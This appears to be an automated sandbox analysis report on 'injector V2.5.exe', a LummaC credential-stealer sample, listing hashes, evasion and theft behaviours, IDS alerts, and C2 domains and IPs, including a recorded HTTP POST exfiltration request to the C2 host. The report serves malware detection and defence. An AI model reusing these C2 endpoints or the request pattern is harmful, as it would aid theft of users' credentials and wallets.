Edit tour

Windows Analysis Report
injector V2.5.exe

Overview

General Information

Sample name:	injector V2.5.exe
Analysis ID:	1561472
MD5:	bcc3a5ac8ca364b58e08a8e771992d6a
SHA1:	36f9ad6f96a2112c5ce71dba2cd87b04f33e6e6a
SHA256:	fd0068122528a6a7042dd6301a77067e9675acbddce740e5e85e840d54f98243
Tags:	exeuser-4k95m
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

injector V2.5.exe (PID: 6996 cmdline: "C:\Users\user\Desktop\injector V2.5.exe" MD5: BCC3A5AC8CA364B58E08A8E771992D6A)

conhost.exe (PID: 7024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

injector V2.5.exe (PID: 6276 cmdline: "C:\Users\user\Desktop\injector V2.5.exe" MD5: BCC3A5AC8CA364B58E08A8E771992D6A)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["revirepart.biz"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: injector V2.5.exe PID: 6276	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: injector V2.5.exe PID: 6276	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:17:31.428348+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.43.198	443	TCP
2024-11-23T14:17:33.785867+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.88.250	443	TCP
2024-11-23T14:17:35.837311+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.88.250	443	TCP
2024-11-23T14:17:38.055093+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.88.250	443	TCP
2024-11-23T14:17:40.586974+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.88.250	443	TCP
2024-11-23T14:17:43.448049+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.88.250	443	TCP
2024-11-23T14:17:45.914671+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.88.250	443	TCP
2024-11-23T14:17:48.020961+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	104.21.88.250	443	TCP
2024-11-23T14:17:50.790073+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.88.250	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:17:32.104063+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.43.198	443	TCP
2024-11-23T14:17:34.517725+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.88.250	443	TCP
2024-11-23T14:17:36.543606+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	104.21.88.250	443	TCP
2024-11-23T14:17:51.493354+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	104.21.88.250	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:17:32.104063+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.43.198	443	TCP
2024-11-23T14:17:34.517725+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	104.21.88.250	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:17:36.543606+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49732	104.21.88.250	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (revirepart .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:17:31.428348+0100	2057647	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.21.43.198	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (revirepart .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:17:29.663824+0100	2057646	1	Domain Observed Used for C2 Detected	192.168.2.4	61706	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:17:49.421766+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49738	104.21.88.250	443	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: revirepart.biz

Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: injector V2.5.exe, 00000002.00000003.1939838274.00000000053DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/
Source: injector V2.5.exe, 00000002.00000003.1863121105.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1862335417.00000000053DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/7P
Source: injector V2.5.exe, 00000002.00000003.1863121105.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1834651944.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1839575031.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1939838274.00000000053DE000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1834937904.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1862335417.00000000053DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/VQ
Source: injector V2.5.exe, injector V2.5.exe, 00000002.00000003.1935433049.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1914569157.0000000002DEE000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1914478283.0000000002DE1000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1935433049.0000000002D4D000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1865163873.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787694380.0000000002DD7000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1866698690.0000000002DEB000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1865220459.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1939442013.0000000002D4D000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1935358700.0000000002DE1000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1940531601.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1940531601.0000000002D4D000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1939442013.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1940739187.0000000002DE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/api
Source: injector V2.5.exe, 00000002.00000003.1914569157.0000000002DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apit1
Source: injector V2.5.exe, 00000002.00000003.1935433049.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1940531601.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1939442013.0000000002D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/s
Source: injector V2.5.exe, 00000002.00000003.1935433049.0000000002D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs:443/apiBB2B7164E
Source: injector V2.5.exe, 00000002.00000003.1788363210.0000000005431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: injector V2.5.exe, 00000002.00000003.1841001230.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: injector V2.5.exe, 00000002.00000003.1841001230.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: injector V2.5.exe, 00000002.00000003.1788447753.0000000005428000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1788363210.000000000542F000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1810691488.0000000005428000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1788551864.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: injector V2.5.exe, 00000002.00000003.1788447753.0000000005403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: injector V2.5.exe, 00000002.00000003.1788447753.0000000005428000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1788363210.000000000542F000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1810691488.0000000005428000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1788551864.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: injector V2.5.exe, 00000002.00000003.1788447753.0000000005403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: injector V2.5.exe, 00000002.00000003.1841001230.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: injector V2.5.exe, 00000002.00000003.1841001230.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: injector V2.5.exe, 00000002.00000003.1841001230.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: injector V2.5.exe, 00000002.00000003.1841001230.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: injector V2.5.exe, 00000002.00000003.1841001230.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 104.21.43.198:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 2_2_00435300 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00435300

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 2_2_00435300 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00435300

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_005FF4D0	0_2_005FF4D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_006034D0	0_2_006034D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_006015A0	0_2_006015A0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_005FF980	0_2_005FF980
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_005FCE70	0_2_005FCE70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_005F86C0	0_2_005F86C0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_005FD7F0	0_2_005FD7F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00611FD2	0_2_00611FD2
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00429060	2_2_00429060
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00424860	2_2_00424860
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004190D0	2_2_004190D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00422110	2_2_00422110
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043D260	2_2_0043D260
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00409AE0	2_2_00409AE0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043AAE0	2_2_0043AAE0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0042F3ED	2_2_0042F3ED
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0042E398	2_2_0042E398
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00442C40	2_2_00442C40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00408C70	2_2_00408C70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041A4DA	2_2_0041A4DA
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040AD50	2_2_0040AD50
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00443580	2_2_00443580
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00426618	2_2_00426618
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043A760	2_2_0043A760
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00441860	2_2_00441860
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00407870	2_2_00407870
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00423815	2_2_00423815
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0042A0D5	2_2_0042A0D5
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041E0E8	2_2_0041E0E8
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004350F0	2_2_004350F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0042B0FA	2_2_0042B0FA
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043B0A0	2_2_0043B0A0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043A0A0	2_2_0043A0A0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004068B0	2_2_004068B0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0042C14A	2_2_0042C14A
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00441930	2_2_00441930
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004329C6	2_2_004329C6
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041FF7F	2_2_0041FF7F
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00425A4A	2_2_00425A4A
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00421250	2_2_00421250
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00443260	2_2_00443260
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00406200	2_2_00406200
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00404A31	2_2_00404A31
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043DAC0	2_2_0043DAC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043E2D0	2_2_0043E2D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041E2F0	2_2_0041E2F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004332F0	2_2_004332F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040B280	2_2_0040B280
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00422360	2_2_00422360
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00402B70	2_2_00402B70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041EFF5	2_2_0041EFF5
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041BB10	2_2_0041BB10
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041FB20	2_2_0041FB20
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00426BD0	2_2_00426BD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00431BE8	2_2_00431BE8
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00405BF0	2_2_00405BF0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041EBF0	2_2_0041EBF0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004413A0	2_2_004413A0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00425410	2_2_00425410
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00430C1C	2_2_00430C1C
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00420C90	2_2_00420C90
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00406D60	2_2_00406D60
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0042FD65	2_2_0042FD65
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00403570	2_2_00403570
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00429520	2_2_00429520
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004205F0	2_2_004205F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004055F8	2_2_004055F8
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0042B588	2_2_0042B588
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00441597	2_2_00441597
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041B5A1	2_2_0041B5A1
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00439E40	2_2_00439E40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00408E50	2_2_00408E50
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040CE52	2_2_0040CE52
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00426E00	2_2_00426E00
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00432615	2_2_00432615
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041F6E0	2_2_0041F6E0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004296F4	2_2_004296F4
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004096A0	2_2_004096A0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00442F40	2_2_00442F40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00426F70	2_2_00426F70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041FF7F	2_2_0041FF7F
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00404F05	2_2_00404F05
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043D710	2_2_0043D710
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041C7C9	2_2_0041C7C9
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004287D0	2_2_004287D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040E7D9	2_2_0040E7D9
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041EFF5	2_2_0041EFF5
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0042EF87	2_2_0042EF87
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041BFB6	2_2_0041BFB6
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0042E7BB	2_2_0042E7BB
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_005FF980	2_2_005FF980
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_005FF4D0	2_2_005FF4D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_006034D0	2_2_006034D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_006015A0	2_2_006015A0
